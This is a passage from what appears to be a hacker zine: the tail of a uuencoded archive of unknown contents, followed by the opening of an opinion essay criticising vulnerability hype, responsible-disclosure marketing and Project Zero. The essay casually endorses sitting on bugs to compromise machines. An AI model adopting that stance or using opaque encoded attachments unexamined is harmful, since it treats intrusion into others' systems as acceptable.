2964M'XL(`&XJXU8``^T\_7/;1J[W:SG3_V'K-*GDR+:^Y=BUW\D2E6C.ECR6TK0O
2965MR=/0$F6SH4@=2<7VM?G?'X#]X)*B;/?FG-Z[QYU$)G>Q`!;``MCEDF$PW?O+
2966M$Y=RN=QJ-!C];3;I;[E:YW]%895JLU5N5AN5>HV5*]5ZH_(7UGAJQK"LPL@*
2967M@)5?YTYX;0<;X0!L/K\'CQB'^OM_I(2@_]TK)W*N/#^PGX8&R*-9K]^C_UH%
2968M]=]HU!NM5J,*^J_7ZZV_L/+3L),L_\_UO[WK&]N[]JUM;$=V&%U;@6>'X>[4
2969M^+,9R\M7*3C_+QUO!K;ONKO3)Z'QP/QO5FH-.?^;M4H%YW^C5<[G_]<HSQQO
2970MZJYF-OLQC&:.OWM]_*T1U]TX7NA//U77JV?^34BU6OW6U%\L?&_W>DNO7-JI
2971M"L1H+1VJ_=:([I;VS)ZS,`I6TXA-1L/.W]KG_6^-W[XU&)1WH_8(-!2MEI.(
2972M:26N/XP!`;,=M=<!>;T`1'-/@O""]0+$=<+(]M:!>+T`LJ93>QFM`_%Z`73J
2973M6[-3YS*P@KL$7WJ]`.VX?FB_L;R9:R>0:O5RJ)83]?Q@Y'A7KCV\_-6><C8R
2974MZB7NP+8B^SSPI^#=-4:2]0#\Y5M#:*#$ML_%Y2$J"E0(>G(\FUU'OA<6;HOL
2975M`T?."E#@]@4KW\[G1?;CCVR_R'YG>FVY7&3'QU!?U#&]&TU&OYP5/&MA*VS]
2976MP6E_8$Y&XXL"V,2$/7O&L+V$%L(ABX<2MK!L+YV=8\81'#%JQQZ3J,C"Z6L[
2977MPJ&U9[.@</TNK$YJ54*CD!8/=6[^5JM^/7;^9D.D=;,9VMMC<S^XL8(9F]E3
2978MUPJLR`&1L]!G$*$C0'5F.1YS0KBUV=P)PHC-5]X4H1@T@!^SOS7.?QKVNV1H
2979M[_@T+DA],N0323E>Q)3W7V\&6^CTW@XZ[+/OS`35`EX7U?2476!":Q8O";ZP
2980M."(YO3@=6?M%H_`0LXI@2A^?E!BWY.66I)@"O1$&L,4OMO@($9`35RH!S9&R
2981MSOS9RK5/K-!.D)+HG3DK:'V.V.#MZ6E13`DH@1VM`H]J%25I8OKTE_@$%]Q.
2982M@0=N3#JD-HP$$[++HU@0<R[VG\7#M0;N+U,-J,!4%?>'J4KN_XIK8];\F.PA
2983MFS(<5QHDZ:EB[&*(0@8IJ[K/OO4(TVV/V_37BJS#V+#-,0M+;.HZMA>A38HF
2984M$:HHCL%<GL",PVO'F_N@MM_*7S;#<5QKD,@G;W)M#\W/^8?MSPLQ=%$##-38
2985M4P8^7<S`NN%7,VW)V&[H>!/D8C>D/T"D/VAWNQ>3]N"7PPS8N;5PW#L`:_<F
2986M0&2<!;/T@P@@>#RH08GI<N.-C:P`$^^%D+#&G3+SV.H*@F")5("#,]MG)=8_
2987M/[\8CH>3<>>\1`9=8F7XIQF"PH4:+X#B"BD%L.WB"\E_2<I85A3U&16P[XX`
2988M]]I$*F=0XW,`Z57*?PQ';%@*&9\[&YAG+V*#*,D;E\\_8;3C]L7X[7E_T!NV
2989M88`)&P/Q=<S1:(*-%V?M<7\X8,L81"C$V9U>Q@88*N\-#3>C:__F':5^`#%Z
2990M-WG3[YIQ\^RFYUI7J%'BHC=Y.S)'X^Z;]J![:HYBN.M1-.M[RQ5:3H&W%C/F
2991M&`<<KJ)'0II!X`?W`IX,AZ?L\L*.E+23/J40JPH+M['"Z3E88%%-+U[+?\<7
2992M;\U2LE,'C'5L3@;#R;O^H#M\E^SP(G3@1\96;9JLN[\")LB",S#^0:\_Z(_-
2993M=$?-I>H=I-*R@<;7,.S9F@>M2-_)TX(%QGJ\L(*K*3C!:RO8QNO/[S_&KE.D
2994M!)*>9N&$Z<]>W.3EP8+K?[%L>YK%_U\>7/]7*ZUJ>OU?J53R]?_7*/&R_`:G
2995M>&JIKBWH:54"RXW0AE5P!&$'_EQ.(<=978;LT@?O>V//V#SP%P1Y'47+@[V]
2996M`."M8'J]NW"F@1_Z\V@7<.[9WLXJW%LMH'T&!&9[R\!'KQ?N.=YG)W0N77N/
2997M+#.(]L#U3A?+W>GN=;1(I7;A]%VU[3G07)A""A(Q&@.L;K>7HRBH@->B6JSD
2998M554>]@&BXZ^\*'9DLN.T(EP9]9E6M;3KLW*8&-VI/V;<]T;XF<]^BYNG%8@\
2999MG+67+P^U^JJLKR;J][9I?3>UPB@$UVLSST;O#BL!=G,->2)APE5@>`V)F!W`
3000M4IO8QAKGR@-U;._%V#YC<%QYH@5&5&2=R7AX.GQG7A2FE2+;N:=9K3>^`&D'
3001ME%\H?.:C9R]>,.B.R<X/'\H_\/N='2Z?8P!8"S2?,Y+T<#HB-1?2&LM28JPV
3002MKB6$R=;4O[?\@9^TS-4X'I3S@V(5ADZ2A21Q3;*:%/46DS;!>,,<,JH"UF#&
3003M!%T.>;ODX9#AW<N7V@P`5)">KNPT<]1MAR/)DX-_HZ+%_^NGHO%`_*^T6O6U
3004M^%]MY/'_:Y1GSMS#[?=)9WAV-AQ,WDS4=JA6I>J$;YE,K"@*G,M59$\FA4)H
3005MT]9C82N<3OV9O54L%@U,`LXL"/HL\L&UN=C;\I@53AT'=T9@K8,@*UC+!M'*
3006M@W68>\?ZX+&]'R)V;7T&:`:AW68WUAVBF.'>)WC6&R>ZAJ8;9V9C?_1:UA2=
3007M+\?);O9\:)Z"6OT%6P;VDB^)?`2PEVH@VM:)VLXML@]K_I!V90_C!1Z'L,)%
3008M@6TH'Y0SW)I:KLLJ\P_>UB:(793'/]B'K2UD@&U]V")@#:)RD.Z>QK'TE^QY
3009M>0TJACA@6T?!%A/[VFF(XJ%!RHI\%U*X`!9^H#0E)RT'D.(I0%""FV,(`NT?
3010M>%@JLA_A[K\A^O\7[OI/,9F`QB)[R7ZPX,\!P7"CX'IRYLZ4=K45I5O<4+\M
3011MTKYZ6%35_)8]"XU')Z!/EW\:]BV8FO>O23X/D]C^2`*DNCX8Y$&YSVQO!BDK
3012M9#/QC(;,Q*`(C*,$7#B'=I=W3^-C'O#_]7*]M?;\MUS/_?_7*,^^VUN%`1X!
3013MV%O>1=<P'PUG0?NZX5TH+WUUM81)Z=H&Y)B3D=FA/<0C)MV^86`DN<('IW88
3014M3:YM:V8'A>*!VNK=VMHRUA\X9SY8-A!62R##%/*Y[T?KR.7#9'I>5=@.IQ/;
3015MBX*[250LP$Q0VUKT"(O])K:P)(RZ/-0>QRP!\T\.1"C+;;NN/RWPG3RY/XK/
3016M%7#LQ9+RMF?F&<VS_OAWO+PP1^;%3V:)G;=?FQ/S9[/S=FQ";;O[[H)V]-22
3017M<JD>X`C6L"S!64;SPI;.`YM;H(39`7L^^P!NO\1>V]$I+%)H"[10%"B_T._"
3018M7DR7=X4EL"QYS>!>=)$"P)6*)CNVY,V2EU]7BR6&6HC*"@7[*WN^Y-PL4]@*
3019MQ61W"/$V0HIJM6@VOFQ0^AP?V`,VF68L80A41P'M0"U51#L^`5W:N^(N/%"R
3020M?$8<L()3DJ"[`XK]U_:MS&%VI:!GLP!W4F.]/I,7.O0()#F<7U@W]%PCB>G,
3021M`9X%.H2#I$BB`!!Z-'R48&07LA77FMJ%K0^WY?)6:6LK[@$&HCH=Q:./!Z>+
3022MC>/4)3D`F7-APDRO6D%@W14N5_,2TT3()Y&X?`G7$$:?K]CE'4PXS"Z>LP*&
3023M&.@F1L*AU/J5HL[S\/WSU4=\JB"Z\.PJV1&5Y:":;@/+N[)CM`?Z>!W</H"<
3024M$5;&@*A"SS?+R0%S#H"2D:PIWSXO5W\F^GXP0]SOG8_%8A+[CXHKR%8J68A+
3025MNC0^>%\.):6D?:Y""P8!*<25&`"WLRVJAUD:LO<[.]KINH_L1_O6/B;VJ!='
3026M0ZX)=]@%%GPV4Z$K\'IV`!DRN3ZH[5EN".H4(_'\B$9"75&J[ZNEVL=X/)P]
3027MVKHO?XQE(+?]%1Z"<#ZBF'](\/M#C"O-R3A8V;%444X"WQ*-FT>+W7.S('`+
3028MNQ'S]"AS9L>AI:B/4(#$K`@AV^CT#B!'6KDS7#H@2D4!1`_RP$T<,'LKN".1
3029MIPEHPJ@:PG.!56B3\\J.)C.8X(7B^X--L_NCDF-"1FE^UZ*C9C#QU"0&2A!8
3030MI7O=*OXQ[#(\)CPLA'98Z)'?F$Q0S5N3"1K=9+(E/,!=N&O?.E&!3!'OR*:*
3031M1KY9\Y]:,/\_LS[11'TJ&@\]_ZG6J_S\?Z/1JE1K_/E/+<__OT9YQLX<[_4[
3032M\)^0T[EV$!J=SJ16/7*:^\V=FV9]9P&9WDVMNG,UG6)3LWYTN]^$/QF-1]\7
3033MJ#/XBV>X7S,8CL'W0`"V`W4\+:2`_LFVE\SGS_;#A>6Z('NCTSMMOQX=[<P]
3034M?R?REZ[]V79W9/^=N>5"FK&C\!Q5V,X0`K!8THXN.D?R.2;[8'SS#<6@W:EA
3035MG/0'W=$;\_248+2SSEH+7&DM>!K>Z+1/.]0C`(J6.P5XJD)0646`SY@6*G$[
3036M8C[7,(_-T?A-^V*`)R\TZI/D8?M,^`W0,7=)W(*I%.8T8"88'P>,9`&>@,%\
3037M@(`70L7N^9OAX)<#!@HRX/\!^[Z0D%DQ4:%1P08I+76MMQM&&E42.0B>^BGE
3038M%HUOT+JHDNP$DC:???]7]OW_("Y%[$!2^Z,8-JBLN#YHXQN^4F;QO@E+Y$OK
3039M8CH&.AN)I$@DR3]BV.O\*FD\AM583Y++-6T=9*CP`=ZDZ4Q=V_(,^CTPO@D6
3040M,)%3MI$2U7;",K?SU.-I"\9_])-/2>.!^%]KKCW_J55K^?.?KU+BO3=8/\`:
3041MXE_PID?J3'?Z*+6^1;V@:MS[B)]&GY^;)VQY;E_*<XNG_=%X8@[&%[\P7#25
3042M&-^DDZW=BPD>WYV,VR>GIH#C>/GA?ECS\$<)L\+D;-+_>;\IGE<C#=SI0H)%
3043M6!?AJ;AY.+O!'8/R;8T.<SZSW63_GYOU>[I?A7\7W9NB.VZ]RV?AR#WT>($]
3044M=XY/9\'.<=_#\]U#3'&XB$Z=4+ZS(;?BL-O.<<]UO$_JL;HX',!!ON,P@B_M
3045MP`,7`Z#H#`?C=G_0'[R>7)B=X467]RRQ+.F56"971>UD!&Y7:L\_.)V=8]1O
3046MUW5I+^L$\B`[*+%8Q:7X,86F]V+Z$(VV8I5X`2>BUAB0LJ&_L7"PZ4OJZ($X
3047M_+[^LD'RA0Q>!Q214O*9BWV+>]])*ST5V\,]2*?8D21"%GGRR]AD2Q`<60?>
3048M%05:"=$_P[W@P7CRQFQWS8L16PYP,^6U.=8J"XBBF.Q"JNKV08?C(9CYLNO@
3049MD=<7V%'5%@`9J)##RTJNV8GY\_GP8IQ"RBMUM"8-&)#+@_U@,6Q["0;A>)8K
3050M*KNB%N62JD*AA(DZ1UGNWAZ#[)+V9+A<V<P)[&GD!W=B7BGJ)+]L'HLD'?:2
3051M1+!SG-JTU8F%EN=$=Z!)>_KI'JJT`4^X<#.';)+]_KO&S,[Q8+6XM(/AO*>6
3052M,O=!H5C"#0?$$N]C`(].1%LZ&GOVC'9F0R&2`=\L+@@!%YD:OD99C%Z05F>`
3053MA=:P^Z-[BSY)25X[S#PSQ]\)O*3DQS.EI%9,'B_"7<[R(6W';A0C-+]\6>)B
3054MH`O!GSIZ]%O:-8F'J?',+;%$X%'VP^UWW0O]EG1(]$;6"E:NJ"*^I2VM6*Y(
3055MDQVD8V!2)B2N]VH2?3Q,PE]"^/BDU7W)=F:$YE]Y@DKD?T]V]@?+0_E?I9Q^
3056M_@OY7W[^]ZL4=?[GW$R<_>&WZCX=FC":R:,DA;5X5L0C(CSR"5`\"5*0@-WA
3057M2$"JYIUC>^+.+<^^P?,H.M547'-FMYPNWNX<#Y<X]2SW#>VF[^)3N*YT[.\+
3058M"/R1GSKI>WA>`MP@?ZUF!4Y)IG7TNB2S^,N4/BP[\9D!)+[8P=V]II.?G^W@
3059M#M%`KNLOEJX=V;MK;RY#'CB1^93QFQ;\9C>GMG<571\FZOH0EQS+A6@S.]13
3060M"G<Y"L7;OKPZ3G^SL\5UJ#-[`>-_&$ZQ0"=QLN$E4R9F6GT/\J4K=.CXM%8?
3061M<(EM4^:N*@Z--0&AA(1@*$>Z['L@>@A^,Q$E1DMK*D;-`2Y`K?V%=67W(-TU
3062M;^TIUW>HPYS8CG?5M2]75U=2DKP!L`7VB>^[J9&<K2++2P^/J*`M"E8.U5I$
3063MC8A!QGXH@Z&_<**(SIOA"[E.R"YMU[_A0L$WI^%/A@3>#OJ=89>.G4$N+F3Q
3064M=O0&<ANFVXBH.K-NG<5JH;><OX.^C"?7J(,D1J2<K,E@(BOG%ZS\N;;&=2&3
3065M?:V*;._<=Z36WIX.!Z\9?_9.BA/5B9&SWLIUQ6HDLUU;K>AHZ2TV7B$4`W*@
3066M$UMZY=@-^^`X;]=&^L8*K\?6)9AK?)2$(QX["QL<E#V*K,42=9>]^-K.7-**
3067M0WIJ^UL>`/M#:^S#C%Y_<`&4/$]&40+/DOW982PO_V3!_$\]X7@B&@^=_R[7
3068MF^GS?]7\^T]?ISSX_9=_8OM/!IRW_<$8%IW]`;YSO\W>.1Z&<#R,=WK>P3#F
3069M+CN+V2GD8"4.NX);?,GXD=^>T,YP/_(S$#`>&U@`*,%,%A#.A1(=WIZN?2-B
3070M><\W(M+?AU#C94MQ26MP)864_UW&7P01;.IODRL4WZU]Y$$V"<;+ZM,:^8N\
3071M>7FHH/]7'V1Z(AH/G?^HU:3_;Y:KS1;Y_V8S]_]?HZCUO_@V"N1S\0>1$I7X
3072M6B^]VBL^"H:?_.%+:(<R4MXN?3\=M(U=O_81KV)!VU2^^<D.0NA]8?]]98>P
3073M$BS)[77Y519W*;X:\JW!G;&D(#[0DB0B/P`FB9#?FY?B&^RMW2X#/_*GOJN3
3074MI>^,=(:G$_X9#7=Y+H#Z^-T-#OCZ8OCVG%V5]#UN\0&,-)])2?"/CTGVU$=F
3075M]!<QUS[\P3<<8Z;QUK6]^PG)3YAM($7G#:WI)]>_>E"P\D-G&U"M\XM_-#J\
3076M(H-C'E,5H>2WTHJ)58S+ZP?B&UD;,"0^H584GP)AU\/+7^_IE/DUM43GDM#P
3077M(DSR3U\4B8FGOK$FQ:62G?9RZ8JWG@:Q1ND#(Y@*04X%G%,ZI%K,SMN+_OB7
3078M27L,:]:3MV-SQ.V12,A7\,('X/D'/];`^?=0Q!X,%UJ8,F@:$K!+AJVHJ!VA
3079MST[@>PO;BTJID79600#5:BM.&ZKV@1IW*9R"-K%.S[.^4Z/&C)#!PN+[[>+K
3080M;?%R-'97].9UGK<\7##^)TZ,/0&-^^-_I5&KEE/KOT:EF9___"KET>]C8>2O
3081M5$&-]#Z(D7SK0YU3?X\@]/J'4;YM-$KEV_U7\&/B5:.&M_AC=N"G7L?;+C;@
3082M3[<N@2N=$G2NXKVY#S]E$W_*B1\)J,.U>MA:P<X:(-+KU"6]QHFDU\&&-(<M
3083M[-QHKC-+I/95Y_*^8NZ5QI>DW$3`)F)L5?'*E+=-1%-#K+6J[-?8YSQ@YWIB
3084M0"=$JI88."?:2DL$.K>PLJ5P-WH9I)"1?62DHX38H3&7$7H?*=<:7(KK1+OK
3085M:JB3JIK8N8E=FG5>"5>(NUE5(JC(JQ8VU"N*;3E\H*S42;=U)8RRDDAW7Y.(
3086MH=M"'2LKJG--=>XA<]UR>N#0N4-Z)N&HT7/<6:,_R=!SHR4MA09$5ZUZ<KAX
3087MVR)3B#MK8U9\;AQS>^.8J7*=NXW,*575DC9:US2RD3DCF[N8D=3D)(5(.&2[
3088ML<XBV0>W%%-:SSH/QD,2HD%MX,%(3-:U>2.F)/'0BM77X"P9]XLDFQL2>;F6
3089M<D.Q2#KW<E/A^C&DEI3EM+*%D\6-H;-3:]VGH$ILX)VDA?'Y75,2ZDD)$4OU
3090M?<6LTER3.X-&!I\/S^Q*DRAOY%/IL%(OK4F-^VW.SBLIJWI3L5V5:M%LK:5&
3091MUB#;[BE[;"L+4`9QWW@V3`R3W&6UM&$\P@JDZTW[U9IDFS-225AFH\Q;D_.Y
3092MH4Q8S?E_@NW.J_O8KL;>LT>6<R*A:TB/.]>NY*871UP4.44D")^&'GRU?BH,
3093MG[R2+&7J68O/2(JBI$FN'J_(W]///J+FJ4:'LYF<DLEHWD.$[9,$UIZ.U1!H
3094M.V@Y%$O,\CK12I)C/JG)MK5^&<S&(F\VDT2H<QJ:V"995:2LX@'P^2SDEQ@S
3095MMQ124(99$[UNUIA))-1,T#TS*>B,22W2BK@R:5+TPP56*\E8U9(#K\=./VNZ
3096MTX\$E'"I;&@CH/1S&Q%*RF05Y>:#E+F@*YLH/T($#1$JC43&J=3";4%I(,MZ
3097MN+0UGO8WF&*6JOA\CIV#QA/QH%@BT<59%/>,1#F>Q>8K);5D%I4IM7928#&+
3098MF=PDR3>:RAEP,>$595JF\@T;I^F:`]Q/=.EER#C!EZ&[";+11\P).11#Z(;\
3099M7"4IIE@$G:J\(E<KIW>"<CF+<DI?B.$5Q6R*SUE\OE)197-K/:-S[*6R1%#7
3100MIZZAFP%UJ6?0X]!)B9Q4E"=)^6A"DRF"5#94K2>Z/$)?51$AC"ROJ(]>\T!K
3101MCL7(-GV:V0^Z-&.#[]O/0+@FM0V4'_1]*GW<Q.(&5Q^[N?7YG/)S4K)9ZC/6
3102M3+B:,=QX+B5^#+D822[]&BK=(@-O9),WUFPA$PWE]U6)@29&>3]K5F%SG+CR
3103MW8HD0EJ2GO`,,,,%-"K29!^32KTJ)WXV9E8\SHK\R9!4*&GLEO2(P3/HND33
3104M56.NQV.F1(4JRTJ\&DQ'#H!6_"<TO?'GA*1-&N'TJ))B/R7P3<D23P]>*31E
3105M;CTR9:;\OJ/</Q'MJ024DN`3I4UJJ)$#Y!A/,KJ<2/.,\7?QJHH]NC1FBB^4
3106M?7$^*1JI)0=-FSJEPZ^D&FB,+5ICD#)BM33:F3I=RXZ[567;VCZ:KHQ$,DMR
3107M;\NK2BRP$Z3"Y5Z3?,8-)'PY4CE0'NCJ:I`43EN*[4W[:)R;AO(DU,+W8$@$
3108MRKMPJ1$W:CG1V^>,&*)+3"6V[0T6'7L.:6'$24N)B;+>-HZTEN7<3C@CAI0B
3109M#4,MCKF1J%M2<>]$CJ(:;^/%RW*^I,KP5QQU33*R+TS(2.5ENM=(NUZU(JXU
3110M2PGOR0G$:1J-7JE%6T[3U!63&`5V(BN[:N)S_Z'V4+D?O7]%]Z!N8`#Z;JJA
3111MFS!Q1TD6.<6N:N![(/NJP>0(#5'94I&MI=RZEI327I?BH65RP1JZ%?::R>:D
3112MC?9B^T`X[H;2KE'-+XUWY9HH;9<8E)ZS`)5#(CE4:)HJ%VURRB=2LL0G.;MN
3113M')^["='5U0*9FR=IJ:M40+)Z5<G@)K5,("/1?'LR2O)%YUI43CB#F*C&8LI0
3114MNQ(-A82R6/O(#'"_)J7!!1U[E]BBE7.C6QYN8A.N9ILP6K#Q!4_9_O_[AMR_
3115MU2?D'OT%N<P/R.5/?/.2E[SD)2]YR4M>\I*7O.0E+WG)2U[RDI>\Y"4O><E+
3116B7O*2E[SD)2]YR4M>\I*7O.0E+WG)RW]\^5]$A6Q:`*``````
3117`
3118end
3119
3120
3121|=[ 0x07 ]=---=[ Resisting the Hy(p|v)e - anon & anon ]=-----------------=|
3122
3123
3124|=-----------------------------------------------------------------------=|
3125|=---------------------=[ Resisting the Hy(p|v)e ]=----------------------=|
3126|=-----------------------------------------------------------------------=|
3127|=---------------------------=[ anon & anon ]=---------------------------=|
3128|=-----------------------------------------------------------------------=|
3129
3130
3131--[ Contents
3132
3133
3134 1 - Prelude
3135 2 - The Common Good
3136 2.1 - Responsible Disclosure
3137 2.2 - White Knights / Self-Claimed Saviors
3138 3 - Financial Stability
3139 4 - Fame
3140 5 - The Underground Spirit
3141 5.1 - Hacker By Conviction
3142 5.1.1 - Jailbreaks
3143 5.1.2 - Freeing Documents
3144 6 - Black Hat Stuff
3145 7 - Conclusion
3146
3147
3148
3149 ___________
3150 /-/_"/-/_/-/| +----------------------+
3151 /"-/-_"/-_//|| /| Disclosure is futile |
3152 /__________/|/|-/ +----------------------+
3153 |"|_'='-]:+|/||
3154 |-+-|.|_'-"||//
3155 |[".[:!+-'=|//
3156 |='!+|-:]|-|/
3157 ----------
3158
3159
3160--[ 1 - Prelude
3161
3162When did all that get started..? Quite a while ago, being a hacker was not
3163something you'd have hawked around. Finding bugs, practicing offensive
3164techniques, writing cool exploits and last but not least pwning boxes was
3165an underground thing you didn't talk about very much. And it still is! The
3166hacking underground has not magically disappeared; but now there's also a
3167very publicly visible hacking scene. Besides 31337 underground h4xx0rs, we
3168now have serious security researchers and consultants, who aim to improve
3169the world by finding bugs and disclosing them in a responsible manner. And
3170of course the idea of improving something is not a negative thing in
3171itself.. Wouldn't you agree?
3172
3173Things are rarely as easy as they seem, so let's try to explore the
3174situation. What happens nowadays can be described by the following example:
3175researcher X finds a bug in some widely-used product. Now X communicates
3176this bug to the vendor, asking them to come up with a fix. After the vendor
3177released a fix, X publicly discloses the bug. This is what "responsible"
3178disclosure is roughly about. And this is generally not a bad approach. But
3179what X now does is to come up with a scary-sounding name and an ugly logo
3180for the vulnerability. Yeah, a cool vuln needs a name and a logo! And of
3181course it also needs press attention! But you know, X only takes the burden
3182of doing all that because X wants to world to be a safer place. This is why
3183X discloses responsibly and also why X needs all that press hype: users
3184must be made aware of the problem! And while saving the world, X of course
3185also enjoys the publicity, the press attention and the free b00ze at
3186conferences. All this (modulo the b00ze, maybe) also contributes to X's job
3187security and so it's a win-win situation.
3188
3189Now we're getting more to the gist of the matter, but let's yet dig a bit
3190deeper. The motivation of overhyping bugs and designing shitty logos
3191appears to be three-fold: the common good, job security (== financial
3192stability) and a little bit of fame, too. Let us look at each of these
3193individually.
3194
3195--[ 2 - The Common Good
3196
3197Believe it or not, there are actually people who want to improve the world,
3198want to do something for the common good. And at the first glance, it might
3199even seem that finding and disclosing bugs actually contributes to a safer
3200world. It does insofar as a fixed bug cannot be exploited by attackers
3201anymore. Now, auditing all code, finding, disclosing and fixing all
3202existing bugs is obviously not the way a sane person would recommend for
3203fixing the sorry state of our security: First of all, there are way too
3204many potential vulnerabilities, even in widely-used, well-audited software
3205packages out there. Furthermore, it's not like you can snapshot the world
3206today, remove all vulnerabilities and run this stable snapshot until the
3207end of time. New bugs will be introduced if we stick to our broken
3208engineering processes. So, how much will finding, disclosing and fixing
3209individual bugs really contribute to our security? Little. And I can
3210already hear you saying: "better contribute little than nothing at all!" .
3211This however implies that you only have two options, which is far off from
3212the truth. In reality, we have quite a number of effective options for
3213improving our security. What about defense efforts? What about safe
3214programming languages? (More) secure operating systems? What about teaching
3215users how to apply crypto effectively? There's an almost endless list of
3216effective improvements one could make. Now if you take into account that
3217there's quite a number of things that will really improve our security,
3218"doing it for the common good" doesn't appear to be such a good reason
3219anymore. Contributing to a safer world is only a negligible side-effect of
3220our hacking. So stop deceiving yourself! You're not taking the hard burden
3221of hacking just so that the world can be a little bit better. Fucking stop
3222lying to yourself!
3223
3224----[ 2.1 - Responsible Disclosure
3225
3226 ___________________________________________
3227 / _\ \
3228 \ (_/_______________________________________/
3229 \ \
3230 \ You're in a desert, walking along in \
3231 \ the sand when all of a sudden you look \
3232 __\ down and see an 0day. \
3233 / )_\ You drop it on FD. \
3234 \___/_________________________________________/
3235
3236
3237If you still want to play the game of vuln hunting and disclosure you
3238should practice "Responsible Disclosure" they say. Come on, be one of the
3239good whitehat guys! But what does the ideal Responsible Disclosure look
3240like? Well actually that is pretty straight forward:
3241
3242 * The Researcher (also note the term "Researcher" instead of "Hacker"
3243 whee science!!) finds a terrible security flaw in some product.
3244 * The flaw is reported by PGP encrypted email to security@$vendor.com.
3245 * The vendor acknowledges the report and starts investigating the issue.
3246 * Some time later a fix is implemented by the vendor and patches are
3247 shipped.
3248 * An entry on http://vendor.com/security.html is created, and the vendor
3249 credits and thanks the Researcher for finding the flaw.
3250 * After some grace period so that the users can actually apply the patch
3251 the Researcher might publish the details of this awkward flaw.
3252
3253Wow that's simple, and so responsible! Now let's see how this scheme is
3254flawed in actual "responsible" disclosure. There are a magnitude of points
3255where this simple scheme might fuck up. Just imagine the following
3256*absolutely hypothetical* but yet not out of this world scenario:
3257
3258Researcher Y works at a security company which happens to sell security
3259(a.k.a. snakeoil) products to protect their innocent customers from bad
32600day. In order to protect from 0day there needs to be 0day in the wild, so
3261researcher Y finds this awesome Internet-ending flaw in a widely used
3262software product. Next up the process described above is started by Good
3263Guy Y. Also Y decides to present his elite research at BlackHat. So it
3264goes... BlackHat is close, and the Logo & Marketing campaign is ready. But
3265no vendor patch is available yet. Now ask yourself: what would you do in
3266this situation?
3267
3268Practicing Responsible Disclosure vs. practicing Full Disclosure is sure a
3269matter of taste. And as long as you really feel that by responsibly
3270disclosing a vulnerability you can do something good, please go ahead and
3271do it. However, being responsible doesn't mean that you actually have to
3272disclose. You could also just keep the bug for a while (until either the
3273vendor fixed it or you pwn3d enough boxes). There's a huge controversy
3274about what form of disclosure is best. We'd like to encourage you to find
3275that out for yourself, for the particular situation you're in, with the
3276particular bug you just found. As long as it's your own decision (and not
3277decided by your marketing department or the Hyve conciousness^W^Wguys on
3278Twitter), it's probably OK.
3279
3280----[ 2.2 - White Knights / Self-Claimed Saviors
3281
3282Let's take a small detour here and have a look at what "hacking for the
3283common good" can lead to. Let's start with a real interesting example -
3284Project Zero. There are many possible explanations of what the real reason
3285behind p0 might be. We don't want to drift off into conspiracy theories
3286here. But as a matter of fact, p0 claims that their goal is to protect
3287people [3]. The common good. Being the current leader of the mobile OS
3288market [4], it's quite obvious what one would do in order to really protect
3289people: fucking audit and harden Android. But interestingly, p0 seems
3290rather to be about dropping 0day on Apple and other competitors of Google.
3291And the worst thing about that is that there are actual skilled and
3292well-respected hackers, being part of the p0 team, paid by Google for doing
3293offensive research. And Google even claims moral superiority because, you
3294know, at Google we "do no evil" . And possibly, at least some of the p0
3295team members even actually believe they do something for the common good.
3296This is the most disturbing part about the story. Somehow Google managed to
3297sufficiently incentivize these hackers to drop bugs on Google's
3298competitors. Other reasons to work for Google obviously include financial
3299stability (working for a big corporation) or plainly the money itself. But
3300let's stick with the aspect of doing something beneficial for the world.
3301Google managed to buy some of the best hackers we know of. One could now of
3302course argue that in this special case, letting these hackers "do the right
3303thing" prevents them from doing bad things. This is related to the central
3304argument that if p0 goes for high-profile bugs and kills them, then
3305attackers have to invest significantly more effort if they want to "do bad
3306things" - and clearly, raising the attackers' effort is good. This
3307reasoning sheds an interesting light on Google's arrogance. The first part,
3308of the argument is based on the assumption that Google is actually capable
3309of finding a significant share of all attacker-relevant bugs. This alone is
3310questionable, but lacking reliable statistics, we cannot directly prove the
3311opposite. We however assume that our readers know by first-hand experience,
3312what bugs p0 did not kill yet ;) Let's look at the second part of the
3313argument: raising the attackers' effort is a good thing. Just for the sake
3314of analyzing the argument, let's pretend that we actually wanted do all the
3315white-hat stuff (destroy the black market, make everything safer, safe the
3316whales etc.). The arrogance of the second part of the argument now lies in
3317the idea that Google actually knows how to fight all the evil in the world.
3318And their recipe is simple: just make it harder for the bad guys. This
3319indicates quite a lack of understanding how complex certain social
3320structures can be. We don't want to claim we fully understand these either
3321- by no means. But isn't it possible that instead of killing the evil
3322 underground, p0 actually strengthens the black market? That talented
3323black hats now raise the prices for their sploits and that because of the
3324better money you can earn, now even more hackers decide to go the black hat
3325way? Maybe even up to the point where the bad guys are paid better than
3326the good guys at Google? Will those then change sides as well or did Google
3327manage to brain-wash them enough, using their nanoprobes? Think about the
3328war on drugs, about alcohol prohibition, about banning porn.. All these
3329followed very simple ideas that in the end showed to be completely
3330incompatible with the way society works.
3331
3332 ---~~~=== Shouts to p0 for raising the market value ===~~~---
3333
3334 XXXXXXXXXXXXXXXXX GOOGLE RESERVE 0DAY XXXXXXXXXXXXXXXXXXX
3335 XXX XX THE UNITED STATES OF INTERNET XXX XX
3336 XXXX XX ------- ------------ XXXX XX
3337 XXXX XX / \ P0-FU XXXX XX
3338 XXXXXX OOO / zero \ --- XXXXXX
3339 XXXXX OOOOO | ___ | __ XXXXX
3340 XXX OOO || \ __ _ _ _ | OOOO XXX
3341 XXX || |) / _` | || || OOOOOO XXX
3342 XXX P0-31337 ||___/\__,_|\_, || OOOO XXX
3343 XXX | |__/ | -- XXX
3344 XXX ------- \ / XXX
3345 X XX \ ____________ / X XX
3346 XX XXX _________ -------- ___ _______ XXX XX
3347 XX XXX ___ ONE DEAD BUG XXX XX
3348 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
3349
3350There is a less severe form of this behavior: telling others what to do
3351with their 0day. This commonly happens on Twitter nowadays: "Did you
3352contact the vendor? No? How irresponsible!!11" . WTF? These people really
3353seem to believe they are morally superior. But what they fail to see is:
3354First of all, it's not their bug and so nobody actually asked them what to
3355do with it. Second, they should be happy that the person in question
3356disclosed the bug at all. Nobody is obliged to do that. But then again, who
3357takes people on Twitter serious.
3358
3359--[ 3 - Financial Stability
3360
3361We're all getting older. And while this inevitably happens, some develop a
3362need for financial stability. This is well-studied [2] and we don't feel
3363like we want to go into great detail here. But branding vulnerabilities
3364with names and logos is a great way to obtain media attention. And media
3365attention can directly influence your job security - "yeah we need to hire
3366that guy, that's the one with the mad skills!" As a matter of fact, this is
3367how the industry works nowadays and writing this paper won't change it.
3368It's also not so much the scope of this article to criticize society and
3369capitalism. So if you find that you really want financial stability, think
3370about what you do and how you do it. You want job security? Great. But do
3371you really have to over-hype your own (or worse: other peoples') bugs in
3372order to get your 1-week press attention? Do you want to be hired based on
